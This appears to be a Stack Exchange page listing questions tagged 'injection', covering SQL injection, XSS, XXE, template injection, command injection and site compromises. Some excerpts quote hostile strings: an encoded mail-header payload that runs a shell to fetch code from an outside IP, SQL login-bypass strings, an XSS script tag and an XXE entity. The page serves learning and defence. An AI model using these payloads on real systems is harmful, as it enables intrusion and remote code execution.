Questions tagged [injection]

inserting malicious content, usually code (like SQL, Javascript) into a vulnerable application. Is used only if there is no more specific injection tag available (see tag wiki)

Filter by
Sorted by
Tagged with
1
vote
1answer
51 views

How to protect against injection into a 3rd party REST API?

I have a 3rd party API that I need to connect to and they allow queries that can be formed by changing url parameters. E.g. /data?startDate=2019-01-01 or /data?name='John Doe' It is easy to form ...
0
votes
1answer
48 views

Command injection — filtering bypass [on hold]

I am testing a python script that provides a ping function os.system('ping ' + command) all of this characters are filtered '&', ';', '-', '`' , '||', '|' i can't use null bytes like %0A i'...
2
votes
2answers
153 views

Is this Bash code vulnerable to code injection?

I'm writing a libre program named "silently" for enhancing error handling in Bash, emulating the behavior of a jidoka. My question is if that eval would be vulnerable to code injection if the ...
-5
votes
0answers
104 views

Hacking Optical Mouse for gaming Battles [closed]

What will be the steps to inject a script into an optical mouse which will run as we connect the mouse and make it place into the PC 2nd stage will be the script for gaming (e.g precise aiming for ...
4
votes
1answer
323 views

What are some of the benign use cases of injecting bytes into another process and creating remote thread?

Lets say, you are developing an AV, and marked any type of injecting into another process (for example openning it and writing to it) and creating remote thread malicious. If so, what will be some of ...
1
vote
1answer
63 views

XML External Entity injection within the body of a document

If you Google for an example of XXE injection you get something like this: <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe ...
4
votes
3answers
199 views

What is the risk of an attacker inserting new password hashes?

The normal threat model that I see with password hashing is as a kind of defense against if the hash somehow leaks to the wider world. In practice, this appears to usually be via some manner of ...
2
votes
1answer
100 views

Trying to figure out if I was hit by an obscure exploit attempt of some kind

I just had a random occurrence when I went to one of my hosted websites, and saw the page was broken. We host several domains at this IP, but one domain is actually in the server's webroot directory, ...
0
votes
0answers
52 views

XXE OOB and URL Length Limit

How would you read a large file by exploiting an XXE OOB vulnerability through HTTP? The file is very large and exceeds the limit of the URL (2048 characters). Any ideas?
0
votes
1answer
43 views

Character filtration in globalisation supported application

I am working on building an application which will be used in various language , to secure from attacks like xss, SQL injection I thought implementing character filteration (whitelisting/blacking) but ...
0
votes
0answers
95 views

CSS injection: Extract CSRF-token by using inline-css injection

Is it possible to extract CSRF-token by using inline-CSS injection (inside style attribute)? (It seems to be impossible, because it is not possible to define CSS classes inside attributes.) <p ...
0
votes
0answers
53 views

Can server side template injection lead to RCE or other severe consquences in Django?

During a penetration test, I found server side template injection in a Django application that sends templated emails. As far as I can tell, apart from some sensitive information disclosure (thanks to ...
1
vote
1answer
53 views

Why Would A Web Server Allow Loading XML External Entities?

I've been reading up on XXE Injection, and so far every example I've seen has involved a webserver voluntarily loading xml external entities (as below). <?php libxml_disable_entity_loader (false);...
0
votes
0answers
20 views

Executable Code in Mail Headers [duplicate]

Recently I noticed someone delivering email to my server root account with headers like this: X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20199.204.214.40x2fsbzx2f45.79.163.30x22}}@host....
0
votes
0answers
40 views

Codeigniter Site hacked [duplicate]

I developed an application using CodeIgniter and used some libraries from the composer. So my Vendor directory was in the root directory of this application. And attacker attacked phpunit/scr/php/...
0
votes
2answers
64 views

Security implications of injection in api http request from frontend?

In my frontend I have something like this: article = httpLibrary.get('api.mysite.com/articles/' + articleId); Where articleId is taken from a URL query parameter (it's injectable). Is this ...
-1
votes
1answer
348 views

SQLI Login Bypass Cheat-sheets Question [duplicate]

Assuming you are authorized to pentest a live website that's login page is vulnerable to SQL Injection. Lets say your backpack has only 2 crafted queries by you which is admin' -- and '=' 'OR'. Your ...
0
votes
1answer
114 views

Exploit include_once in PHP Code

For a project we were asked to find and exploit the "Remote Code Injection" vulnerability of a web application. After hours of search (we have the source code of the web application as it is running ...
0
votes
0answers
134 views

'=' 'OR' SQL Injection Login Bypass Question [duplicate]

I was testing SQLI Cheatsheets on a vulnerable test site. This particular injection '=' 'OR' seems to work on the login page. Why does that injection work? What's the back-end SQL code, if I could ...
1
vote
0answers
126 views

Infected usb drives in mice

I bought a mouse on aliexpress. It was reasonably cheap. It works well enough to be on par with a mouse I can buy here for 4 times the price. I know, this is a well known business model, and those ...
9
votes
1answer
2k views

Sucuri detects malware on wordpress but I can't find the malicious code

Yesterday I got a report asking us to check some wordpress website because the person's antivirus blocked said web. I ran the Sucuri Site Check and it indeed detects malware: "Known javascript ...
1
vote
1answer
122 views

Presistent XSS Filter Bypass Question

I was testing out a stored XSS on a test site I made which is vulnerable so the problem is when I tried executing the usual "><script>alert('XSS')</script> It did not work instead. But ...
1
vote
2answers
323 views

Is it possbile to conduct http header injection attack with a web site or web app uses https?

If a web site or web application is running with https, is it possible to conduct http header attacks like http header injections and so on?
2
votes
1answer
973 views

' OR 1=1/* SQL Injection Login Bypass Question

Recently I came across a SQL Injection Cheat Sheet which contains this particular cheat sheet which I am confused by ' or 1=1/* Assuming I am testing it on this server-side code below. SELECT * FROM ...
0
votes
1answer
198 views

SQL injection authentication bypass

I am testing a SQLi login bypass on the PHP code below: if(isset($_POST["login"]) && isset($_POST["password"])) { $sql="select * from users where login='{$_POST["login"]}' and password='{$...
0
votes
1answer
73 views

What attacking vectors does “background-image” have

I have a web application that loads an image by URL and shows it with the style-tag (background-image). Users can link their image. Would it be possible for a bad actor to fake an image and inject ...
0
votes
0answers
30 views

is xss possible without these chars? [duplicate]

I'm wondering if xss is possible without these chars disallowed/filtered text: < > ! @ # $ % ^ & * : ? = ( ) I'm able to break out of a style attribute of an element by introducing an ending ...
-1
votes
2answers
301 views

Unable to inject cookies

As part of an exercise, I need to sniff cookies from a login page and inject them in the same login page. If the cookie injection is successful the user must be login without entering the user name ...
1
vote
1answer
313 views

Flask/Jinja2 SSTI to get RCE. <type 'file'> not in object subclasses

I'm trying to get RCE in a simple Flask web app I developed, which is vulnerable to server side template injection (SSTI). RCE is usually obtained by uploading the reverse shell script on the target, ...
1
vote
0answers
107 views

Is there any NFC message injection?

Are there any NDEF message smuggling attacks (like http smuggling attack)? When I say it, I mean that I have a full control on the NFC packet. Is it possible to inject another packet into a NFC ...
3
votes
1answer
152 views

Find security weaknesses in this website (exam question)

I am currently studying for a computer security exam and I am stuck on the following question from a past exam paper 1c <form action=”message.php” method=”get”> 2c <p>Message: <input ...
0
votes
0answers
107 views

Shell injection using only [alphanumeric, dashes, colon, period]

I found an html form with a single input field, where the inputted text is used as the argument (or rather just the last part) of a ping command on the server. When submitting the form, the following ...
0
votes
1answer
150 views

Can ClamAV detect CSV Injection?

I'm allowing users to upload CSV files. Other users can download these files. I'm aware that CSV could be an attack vector. Would a ClamAV (or other AV) scan offer protection against such a file? ...
1
vote
1answer
369 views

Beef+ bettercap injection failure?

I am trying to inject beef's hook.js in browser on another pc on my local network. After starting beef and login to the UI I started bettercap in terminal and executed the following command: sudo ...
0
votes
1answer
144 views

MD5 Checksum and DLL injection

I would like to know if it is possible that a file checksum or MD5 Checksum is an option for identifying malicious embedded code. As an example, I have a development environment and I want to prevent ...
0
votes
0answers
19 views

My website is hacked and injected [duplicate]

Someone hacked into my website, injected the source code and somehow is able to delete application files remotely What are the best practices to better secure the website, its an e-commerce website ...
1
vote
2answers
49 views

Win10 Group Policy - Allow specific programs to run: Protection from malware?

In Windows 10 group policy editor you can restrict and allow only certain programs to run. I'm wondering if that protects against malware? I can think of following cases: 1) If you start a program ...
1
vote
0answers
144 views

CSS Injection without colon

I'm looking for a way to create a CSS injection proof-of-concept. I can insert the following and it gets reflected in the browser: <style>body{background-color:red}</style> The only ...
2
votes
1answer
625 views

PHP assert code injection

Not sure if in this case if it is possible to inject malicious code in $entityId and if it will be processed by php. $entityId = $_GET["name"]; public function getMetaData($entityId) { assert('...
1
vote
1answer
245 views

Router Code Injection

I read some articles about hacks that have hacked routers which inject ads on websites a visitor visits that replace adsense ads Is it really possible? How can a router hack inject javascript code ...
1
vote
1answer
927 views

Command Injection when all dangerous characters are escaped?

OWASP recommends as defense against command injection to escape all special characters (if a whitelist approach cannot be used). I wrote a quick PHP script doing this: $input = $_GET['x']; $...
2
votes
1answer
165 views

Can Arbitrary Code Execution be done using CSS Injection?

As part of our class project, we are studying the attacks that could be done using CSS Injection. In our threat model, attacker can manipulate any CSS file on the server. If attacker replaces original ...
1
vote
2answers
184 views

Are log files executable files?

As a beginner in security research project, I came across log injection and my question is itself about log injection files. Are log injection files executable, if no, how do they execute/run ...
3
votes
1answer
315 views

Injected malicious code in temporary files

It just came to my mind that few years ago many iOS applications where infected by XcodeGhost (notably WeChat). This made me think about few possible scenarios: Malicious code injected in object ...
2
votes
1answer
137 views

DAST Output in Burp and Understanding It

I have recently upgraded to the newest version of Burp which includes the new DAST tools. I am receiving reports from the tool that it has found DOM-Based Javascript Injection, but I am having ...
1
vote
1answer
179 views

Is it safe to concatenate non-input session variables into a SQL string?

I have a php application where the function "makeSessionVar" creates a session variable from application defined data, then concatenates it into the SQL string. function makeSessionVar($A,$B){ // (&...
1
vote
2answers
1k views

Is there a secure way to run a bat file from a Java program without command injection vulnerability?

Since using Runtime.exec() and ProcessBuilder trigger command injection vulnerability in static analyzing tools, is there any other recommended secure way to execute a bat file from a Java program? ...
0
votes
1answer
95 views

What type of exploit is an attacker performing by executing the code snippet?

I just started on secure coding.Does anyone know what type of exploit is an attacker performing by executing the code snippet?
1
vote
1answer
441 views

SMTP Service STARTTLS Plaintext Command Injection

We are getting this vulnerability on SUSE Linux Enterprise Server 11. This vulnerability is getting triggered on port 587 for postfix. I have checked several links but I am unable to get any relevant ...
1
vote
1answer
314 views

Change of DNS in MX records in a Wordpress site

I maintain qtechtheory.org, the website of my research group, which runs Wordpress and is hosted by BlueHost. Though we've been hit with PHP injection for several weeks, I've kept the site live since ...